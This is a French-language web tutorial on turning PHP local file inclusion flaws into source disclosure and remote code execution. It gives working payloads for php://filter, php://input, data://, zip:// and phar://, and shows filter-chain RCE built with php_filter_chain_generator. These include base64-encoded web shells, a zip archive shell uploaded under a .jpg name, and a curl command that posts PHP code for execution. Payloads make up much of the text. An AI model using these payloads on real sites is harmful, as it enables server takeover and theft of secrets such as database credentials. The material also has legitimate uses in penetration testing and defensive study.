Les wrappers PHP sont des protocoles spéciaux reconnus par les fonctions d’inclusion. Ils constituent un vecteur d’exploitation avancé permettant de contourner certaines restrictions et d’exécuter du code même sans fichier de log ni serveur distant.
php://filter — lire du code PHP encodé
Le wrapper le plus utilisé en exploitation LFI. Il permet de lire le code source de fichiers PHP sans les exécuter, en les encodant à la volée.
# Lire config.php en base64
?page=php://filter/convert.base64-encode/resource=config
# Décoder côté attaquant
echo "PD9waHAgJHBhc3M9..." | base64 -d
# Résultat : <?php $pass = 'SuperSecret123'; ?>
php://input — exécuter du code via POST
Si allow_url_include est activé, php://input lit le corps de la requête POST et l’exécute comme du PHP.
curl -X POST "http://site.com/?page=php://input"
--data "<?php system('id'); ?>"
data:// — injecter du code inline
# Code PHP en clair
?page=data://text/plain,<?php system('id'); ?>
# En base64 (bypasse certains filtres)
# Payload : <?php system($_GET["cmd"]); ?>
# Encodé : PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+&cmd=id
zip:// et phar:// — fichiers compressés
Utile si on peut uploader un fichier (même avec extension .jpg) :
# Créer une archive contenant un shell PHP
echo "<?php system($_GET['cmd']); ?>" > shell.php
zip shell.zip shell.php
# Uploader shell.zip (renommé en shell.jpg)
# Exploiter via zip://
?page=zip://uploads/shell.jpg%23shell.php&cmd=id
# %23 = # (séparateur entre archive et fichier interne)
php://filter — Chaining de filtres (RCE sans fichier)
Le PHP filter chain est une technique avancée permettant de générer une chaîne PHP arbitraire uniquement en enchaînant des conversions php://filter, sans avoir besoin d’aucun fichier sur le serveur. Elle transforme une LFI en RCE même quand aucun vecteur d’injection classique n’est disponible.
Le principe repose sur les conversions convert.iconv.* et convert.base64-encode/decode enchaînées pour construire octet par octet le payload PHP désiré.
# Exemple simplifié : générer ""
# via une chaîne de filtres iconv (tronquée pour lisibilité)
?page=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|
convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|
convert.iconv.UTF-16LE.T.61-8BIT|...../resource=/etc/passwd
Outil : php_filter_chain_generator
La génération manuelle est impraticable. L’outil php_filter_chain_generator de Synacktiv automatise la création du payload :
# Installation
git clone https://github.com/synacktiv/php_filter_chain_generator
# Générer un payload exécutant "id"
python3 php_filter_chain_generator.py --chain '<?php system($_GET["c"]); ?>'
# Utilisation dans l'URL (le script génère l'URL complète)
?page=php://filter/convert.iconv.UTF8.CSISO2022KR|...|/resource=index.php&c=id
Avantages du filter chain
- Fonctionne sans
allow_url_include - Ne nécessite aucun fichier injecté (logs, session, upload…)
- Contourne les filtres sur les extensions et les chemins
- Applicable dès lors qu’une LFI existe, quelle que soit la configuration
Tableau récapitulatif
| Wrapper / Technique | Usage | Prérequis |
|---|---|---|
| php://filter (lecture) | Lire code source encodé | Aucun |
| php://filter (chain) | RCE sans fichier via iconv chain | Aucun |
| php://input | Exécuter POST body | allow_url_include |
| data:// | Code inline dans URL | allow_url_include |
| zip:// / phar:// | Code dans archive uploadée | Upload possible |
php://filter(lecture) ne nécessite aucune configuration spéciale et lit le code source en base64- php://filter chain permet une RCE sans aucun fichier grâce à l’outil php_filter_chain_generator (Synacktiv)
data://etphp://inputpermettent une exécution de code sans fichier externezip://etphar://combinent LFI et upload pour exécuter du code

-
Add a note